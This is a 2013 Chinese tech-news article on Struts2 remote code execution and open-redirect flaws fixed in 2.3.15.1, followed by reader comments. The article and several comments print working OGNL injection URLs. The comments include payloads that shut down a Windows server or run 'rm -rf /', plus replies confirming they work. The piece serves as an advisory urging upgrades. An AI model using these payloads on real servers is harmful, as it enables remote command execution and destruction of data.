资讯频道 → 企业架构
阅读更多

39顶
4踩

企业架构

原创新闻 Struts2被曝重要漏洞，波及全系版本

2013-07-17 11:31 by 副主编 wangguo 评论(59) 有77086人浏览
Struts Apache SSH Java 框架

声明：ITeye资讯文章的版权属于ITeye网站所有，严禁任何网站转载本文，否则必将追究法律责任！

Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。



该版本修复的主要安全漏洞如下：

1.  通过在参数前面加上“action:”/“redirect:”/“redirectAction:”前缀，以实现远程代码执行，如下： 

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}

http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}





2.  通过在参数前面加上“redirect:”/“redirectAction:”前缀，以实现开放式重定向，如下： 

http://host/struts2-showcase/fileupload/upload.action?redirect:http://www.yahoo.com/

http://host/struts2-showcase/modelDriven/modelDriven.action?redirectAction:http://www.google.com/%23




详细漏洞信息：

建议开发者将所有Struts 2应用程序升级至最新版本。

如果你从其他分支迁移至2.3.x分支，需要注意，该分支最低要求Servlet API 2.4、JSP API 2.0和Java 5。

下载地址：http://struts.apache.org/
  • 大小: 8.7 KB
  • 大小: 51.3 KB
  • 大小: 107.5 KB
  • 大小: 101.3 KB
39
顶
4
踩
评论 共 59 条 请登录后发表评论
39 楼 Francis_java 2013-07-19 17:15
这个漏洞也太狠了.....
38 楼 gbwl_cgl 2013-07-19 16:51
venus224 写道
只有Struts 2.3.15版本会还是Struts 2.0的都会？

都会
37 楼 venus224 2013-07-19 16:12
只有Struts 2.3.15版本会还是Struts 2.0的都会？
36 楼 wangxiang243 2013-07-19 14:41
sweat89 写道
SunZh 写道
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢



真可以！！我擦

webwork2会有这样的bug吗？
35 楼 sweat89 2013-07-19 14:16
SunZh 写道
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机

我擦 还真的可以。。。。。linux环境下呢

34 楼 SunZh 2013-07-19 14:08
问题很严重！仅供测试，不负责！
windows服务器关机命令：
http://localhost:8080/context/aa.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}   就可以关机
33 楼 syd6815892 2013-07-19 11:30
yixiandave 写道
mlw2000 写道
sweat89 写道
sweat89 写道
谁解释下这个漏洞啊，没感觉有什么危害啊

不就直接跳转了么

可以远程在服务器任意代码，例如：
http://host//save.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'rm','-rf','/'})).start()}


吓尿。。。


我用java.io.File可以删除文件，但是你那种命令的方式我测不出来，楼上那位大神可以给个标准的代码不， 还有action的命令我都出问题了，只有redirect和redirectAction才可以，求指点！
32 楼 diggywang 2013-07-19 11:23
表达式引擎现在是很多漏洞的发源地
31 楼 sweat89 2013-07-19 10:53
sblig 写道
struts 1.X   有没有这样的漏洞

struts1 没有ognl
30 楼 aly_boy 2013-07-19 09:50
从副主编到上面详细解释的人，都真没有职业精神。

你什么时候见安全组织发布一个高危漏洞，同时还很详细的说明怎么来利用这个漏洞，卖弄技巧，不顾可能带来的后果。
29 楼 sblig 2013-07-19 09:42
struts 1.X   有没有这样的漏洞
28 楼 mojianpo 2013-07-19 09:14
太厉害了 呵呵
27 楼 klts 2013-07-18 22:38
建议采用struts2.0到struts2.3都尽快升级到最新版本吧，这些漏洞在黑客手里能够去得服务器的最高权限了。。。
26 楼 zsmud 2013-07-18 21:55
刚改完版本，一直不喜欢OGNL
25 楼 t42dw 2013-07-18 20:23
就目前各大网站中招情况....大家还是改密码吧

应该大部分攻击都是去整个数据库的
24 楼 tnndca 2013-07-18 18:44
神之小丑 写道
这个 是影响到2.0的全部版本么？

第一个漏洞在2.3.15就没有测试成功。

第二个漏洞在2.0.11下不会执行。
23 楼 tiyi 2013-07-18 18:29
我估计只有Struts 2.3.15 会中招吧……
其他的2 只有 转发问题
22 楼 JavaSam 2013-07-18 18:07
自娱自乐呗，自己更新版本，自己找出漏洞，自己发表声明！
21 楼 JavaSam 2013-07-18 18:06
更新频率快，就不能保证安全性！看看JDK的更新速度和安全漏洞就知道！
20 楼 jiazimo 2013-07-18 18:01
这漏洞强悍、

发表评论

您还没有登录,请您登录后再发表评论

相关推荐

  • linux struts2漏洞,Struts2漏洞分析，漏洞波及全系版本

    Struts漏洞分析Apache Struts团队已经发布了Struts 2.3.15.1安全更新版本。在Struts2.3.15.1版本之前，存在着严重的安全漏洞，如果现在一些比较大的网站是用JAVA做的，没有把版本升级，还用的是Strtus2.3.15.1版本...

  • 如何探测类似Struts 2的安全漏洞？ JFrog Xray 帮你扫描漏洞，并阻止漏洞上线

    近期Struts 2的高危漏洞闹得沸沸扬扬，阿里云也发布了一则告警，提示 Struts 2存在高危漏洞，距离上一次 Struts2漏洞报出也就是半年前，于是我决定研究下漏洞形成的原理，后来的事实证明，收获不小！ ...

  • Struts2重要漏洞

    转载： Struts2被曝重要漏洞，波及全系版本 Apache Struts团队6月底发布了Struts 2.3.15版本，由于该版本被发现存在重要的安全漏洞，因此该团队今天发布了Struts 2.3.15.1安全更新版本。  该版本修复的...

  • struts2 漏洞分析 及解决办法

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导...

  • struts2 最新漏洞 S2

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这个漏洞黑网站...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/conflu

  • 知道struts2-s2-016-s2-017漏洞之感

    当然这个漏洞应该波及了很多公司，Struts2的流通性太大了，导致很多人关注它，很多人都搞它，漏洞也发现得快，不过反过来想想，有这么多人关注，一点会很快的茁壮成长的吧。不过再这样一而再，再而三的来漏洞，大家...

  • struts2漏洞原理及解决办法

    Struts2被曝存在重大远程任意代码执行安全漏洞,影响Struts2全系版本。而对于此次堪比棱镜事件的危害,安全宝指出,众多大型互联网厂商均存在该漏洞,且影响厂商仍在扩大之中。同时漏洞利用代码已经被强化,可直接通过...

  • 程序世界系列之-struts2安全漏洞引发的安全杂谈（上）

    1.讨论关于struts 安全问题。 2.黑客文化。 3.如何降低安全漏洞的出现。 4.忠告建议。 题记： 这篇文章本来很早应该和大家见面的，中间由于个人原因调整了系列文章发布时间，实属罪过。为了不误导大众文章中间...

  • struts2 最新漏洞 S2-016、S2-017修补方案

    昨天struts2爆了一个好大的漏洞，用道哥的话来说就是：“今天下午整个中国的黑客圈像疯了一样开始利用这...Struts2被曝重要漏洞，波及全系版本 官方描述： S2-016：https://cwiki.apache.org/confluence/display/W...

  • 互联网惨遭Struts高危漏洞摧残

    从7.17号开始，乌云网(www.wooyun.org)开始爆各大网站的struts漏洞。 关于Struts Struts 框架是Apache基金会Jakarta项目组的一个 Open Source项目，它采用MVC模式，帮助 java 开发者利用J2EE开发Web...

  • 前18大旋转修整器企业占据全球87%的市场份额.docx

    前18大旋转修整器企业占据全球87%的市场份额

  • Planet-SkySat-Imagery-Product-Specification-Jan2020.pdf

    SKYSAT IMAGERY PRODUCT SPECIFICATION PLANET.COM VIDEO Full motion videos are collected between 30 and 120 seconds by a single camera from any of the active SkySats. Videos are collected using only the Panchromatic half of the camera, hence all videos are PAN only. Videos are packaged and delivered with a video mpeg-4 file, plus all image frames with accompanying video metadata and a frame index file (reference Product Types below)

  • Screenshot_20240506_133458_com.netease.yhtj.vivo.jpg

    Screenshot_20240506_133458_com.netease.yhtj.vivo.jpg

  • 2019年A~F题特等奖论文合集.pdf

    大学生，数学建模，美国大学生数学建模竞赛，MCM/ICM，历年美赛特等奖O奖论文

  • 雷达物位变送器安装和操作手册

    雷达物位变送器安装和操作手册

  • node-v11.6.0-linux-armv7l.tar.xz

    Node.js，简称Node，是一个开源且跨平台的JavaScript运行时环境，它允许在浏览器外运行JavaScript代码。Node.js于2009年由Ryan Dahl创立，旨在创建高性能的Web服务器和网络应用程序。它基于Google Chrome的V8 JavaScript引擎，可以在Windows、Linux、Unix、Mac OS X等操作系统上运行。 Node.js的特点之一是事件驱动和非阻塞I/O模型，这使得它非常适合处理大量并发连接，从而在构建实时应用程序如在线游戏、聊天应用以及实时通讯服务时表现卓越。此外，Node.js使用了模块化的架构，通过npm（Node package manager，Node包管理器）,社区成员可以共享和复用代码，极大地促进了Node.js生态系统的发展和扩张。 Node.js不仅用于服务器端开发。随着技术的发展，它也被用于构建工具链、开发桌面应用程序、物联网设备等。Node.js能够处理文件系统、操作数据库、处理网络请求等，因此，开发者可以用JavaScript编写全栈应用程序，这一点大大提高了开发效率和便捷性。 在实践中，许多大型企业和组织已经采用Node.js作为其Web应用程序的开发平台，如Netflix、PayPal和Walmart等。它们利用Node.js提高了应用性能，简化了开发流程，并且能更快地响应市场需求。

  • Python3实现快速排序（源代码）

    快速排序是一种基于分治策略的排序算法，通过选择一个基准元素，将待排序的数组划分为两个子数组，一个包含所有小于基准的元素，另一个包含所有大于基准的元素，然后递归地对这两个子数组进行快速排序。快速排序在平均情况下具有O(n log n)的时间复杂度，是一种非常高效的排序算法。然而，在最坏情况下，当输入数据已经有序或接近有序时，快速排序的性能会退化为O(n^2)。此外，快速排序是不稳定的排序算法，即相等的元素可能在排序过程中改变相对位置。尽管如此，快速排序仍然因其高效的平均性能而在实际应用中广泛使用。在Python3中，可以通过递归或迭代的方式实现快速排序算法，但为了避免额外的空间开销，通常会采用原地排序的方式来实现。

  • 毕业课设基于51单片机的出租车计价器（昼夜）

    【作品名称】：基于51单片机的出租车计价器（昼夜） 含（程序、仿真图、流程图、原理图） 【适用人群】：适用于希望学习不同技术领域的小白或进阶学习者。可作为毕设项目、课程设计、大作业、工程实训或初期项目立项。 出租车计价器： 1、不同情况具有不同的收费标准，具有白天和夜晚不同的计价能力 2、能进行手动修改单价 3、具有数据的复位功能（起步价，起步公里数，里程单价，白天晚上不一样） 4、能够在掉电的情况下存储单价等数据 5、步进电机模拟里程，一圈表示一里路

Global site tag (gtag.js) - Google Analytics